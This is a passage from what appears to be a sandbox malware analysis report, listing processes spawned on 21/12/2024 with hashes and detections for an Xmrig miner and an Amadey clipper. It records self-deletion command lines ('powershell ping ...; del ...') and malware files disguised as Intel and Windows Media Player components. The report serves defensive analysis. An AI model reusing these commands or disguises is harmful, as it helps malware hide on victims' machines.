                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:25
                                                                                                                                                                                                                                                                                  Start time:06:15:23
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:26
                                                                                                                                                                                                                                                                                  Start time:06:15:23
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:powershell ping 127.0.0.1; del in.exe
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                                  File size:452'608 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:27
                                                                                                                                                                                                                                                                                  Start time:06:15:23
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:28
                                                                                                                                                                                                                                                                                  Start time:06:15:23
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:29
                                                                                                                                                                                                                                                                                  Start time:06:15:25
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\PING.EXE
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:"C:\Windows\system32\PING.EXE" 127.0.0.1
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff73d260000
                                                                                                                                                                                                                                                                                  File size:22'528 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:2F46799D79D22AC72C241EC0322B011D
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:30
                                                                                                                                                                                                                                                                                  Start time:06:15:25
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff69f040000
                                                                                                                                                                                                                                                                                  File size:1'827'328 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:83D75087C9BF6E4F07C36E550731CCDE
                                                                                                                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001E.00000003.2521605943.000001FE626E0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                  • Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 0000001E.00000003.2521605943.000001FE626E0000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                                                                                                                                                  • Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 0000001E.00000003.2521605943.000001FE626E0000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                                                                                                                                  • Detection: 100%, Avira
                                                                                                                                                                                                                                                                                  • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                                                  • Detection: 70%, ReversingLabs
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:31
                                                                                                                                                                                                                                                                                  Start time:06:15:25
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:explorer.exe
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff72b770000
                                                                                                                                                                                                                                                                                  File size:5'141'208 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000002.2529597968.0000000001319000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000002.2529597968.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000002.2530687816.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000002.2530936090.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:32
                                                                                                                                                                                                                                                                                  Start time:06:15:25
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe"
                                                                                                                                                                                                                                                                                  Imagebase:0x3d0000
                                                                                                                                                                                                                                                                                  File size:1'861'632 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:15709EBA2AFAF7CC0A86CE0ABF8E53F1
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                                                                                                                                  • Detection: 100%, Avira
                                                                                                                                                                                                                                                                                  • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                                                  • Detection: 47%, ReversingLabs
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:33
                                                                                                                                                                                                                                                                                  Start time:06:15:26
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                                  File size:452'608 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:34
                                                                                                                                                                                                                                                                                  Start time:06:15:26
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:35
                                                                                                                                                                                                                                                                                  Start time:06:15:26
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\PING.EXE
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:"C:\Windows\system32\PING.EXE" 127.1.10.1
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff73d260000
                                                                                                                                                                                                                                                                                  File size:22'528 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:2F46799D79D22AC72C241EC0322B011D
                                                                                                                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:36
                                                                                                                                                                                                                                                                                  Start time:06:15:32
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exe"
                                                                                                                                                                                                                                                                                  Imagebase:0xfc0000
                                                                                                                                                                                                                                                                                  File size:439'296 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:51FF79B406CB223DD49DD4C947EC97B0
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exe, Author: Joe Security
                                                                                                                                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                                                                                                                                  • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                                                  • Detection: 55%, ReversingLabs
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:37
                                                                                                                                                                                                                                                                                  Start time:06:15:33
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe"
                                                                                                                                                                                                                                                                                  Imagebase:0x2a0000
                                                                                                                                                                                                                                                                                  File size:439'296 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:51FF79B406CB223DD49DD4C947EC97B0
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe, Author: Joe Security
                                                                                                                                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                                                                                                                                  • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                                                  • Detection: 55%, ReversingLabs
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:38
                                                                                                                                                                                                                                                                                  Start time:06:15:34
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                  Commandline:C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
                                                                                                                                                                                                                                                                                  Imagebase:0x2a0000
                                                                                                                                                                                                                                                                                  File size:439'296 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:51FF79B406CB223DD49DD4C947EC97B0
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:39
                                                                                                                                                                                                                                                                                  Start time:06:15:38
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe"
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff6bd9d0000
                                                                                                                                                                                                                                                                                  File size:605'696 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:3567CB15156760B2F111512FFDBC1451
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                                                                                                                                  • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                                                  • Detection: 63%, ReversingLabs
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:40
                                                                                                                                                                                                                                                                                  Start time:06:15:40
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff6bd9d0000
                                                                                                                                                                                                                                                                                  File size:605'696 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:3567CB15156760B2F111512FFDBC1451
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:41
                                                                                                                                                                                                                                                                                  Start time:06:15:49
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Program Files\Windows Media Player\graph\graph.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:"C:\Program Files\Windows Media Player\graph\graph.exe"
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff68fac0000
                                                                                                                                                                                                                                                                                  File size:251'392 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:7D254439AF7B1CAAA765420BEA7FBD3F
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                                                                                                                                  • Detection: 0%, ReversingLabs
                                                                                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:42
                                                                                                                                                                                                                                                                                  Start time:06:15:50
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exe"
                                                                                                                                                                                                                                                                                  Imagebase:0x9c0000
                                                                                                                                                                                                                                                                                  File size:4'468'736 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:49FC187B211896A8D43FB7F54686B072
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                                                                                                                                  • Detection: 100%, Avira
                                                                                                                                                                                                                                                                                  • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:43
                                                                                                                                                                                                                                                                                  Start time:06:15:51
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Program Files\Windows Media Player\graph\graph.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:"C:\Program Files\Windows Media Player\graph\graph.exe"
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff68fac0000
                                                                                                                                                                                                                                                                                  File size:251'392 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:7D254439AF7B1CAAA765420BEA7FBD3F
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:44
                                                                                                                                                                                                                                                                                  Start time:06:15:58
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exe"
                                                                                                                                                                                                                                                                                  Imagebase:0x140000
                                                                                                                                                                                                                                                                                  File size:1'374'720 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:669ED3665495A4A52029FF680EC8EBA9
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                                                                                                                                  • Detection: 28%, ReversingLabs
                                                                                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:45
                                                                                                                                                                                                                                                                                  Start time:06:15:59
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Program Files\Windows Media Player\graph\graph.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:"C:\Program Files\Windows Media Player\graph\graph.exe"
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff68fac0000
                                                                                                                                                                                                                                                                                  File size:251'392 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:7D254439AF7B1CAAA765420BEA7FBD3F
                                                                                                                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:46
                                                                                                                                                                                                                                                                                  Start time:06:16:01
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff69f040000
                                                                                                                                                                                                                                                                                  File size:1'827'328 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:83D75087C9BF6E4F07C36E550731CCDE
                                                                                                                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002E.00000003.2876108637.00000202AA9D0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                  • Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 0000002E.00000003.2876108637.00000202AA9D0000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                                                                                                                                                  • Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 0000002E.00000003.2876108637.00000202AA9D0000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:47
                                                                                                                                                                                                                                                                                  Start time:06:16:01
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:explorer.exe
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff72b770000
                                                                                                                                                                                                                                                                                  File size:5'141'208 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002F.00000002.2881532847.00000000006D7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002F.00000002.2881532847.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002F.00000002.2882244663.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002F.00000002.2881532847.0000000000714000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002F.00000002.2882428177.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:48
                                                                                                                                                                                                                                                                                  Start time:06:16:01
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                                  File size:452'608 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:49
                                                                                                                                                                                                                                                                                  Start time:06:16:01
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:50
                                                                                                                                                                                                                                                                                  Start time:06:16:01
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\PING.EXE
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:"C:\Windows\system32\PING.EXE" 127.1.10.1
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff73d260000
                                                                                                                                                                                                                                                                                  File size:22'528 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:2F46799D79D22AC72C241EC0322B011D
                                                                                                                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:51
                                                                                                                                                                                                                                                                                  Start time:06:16:04
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
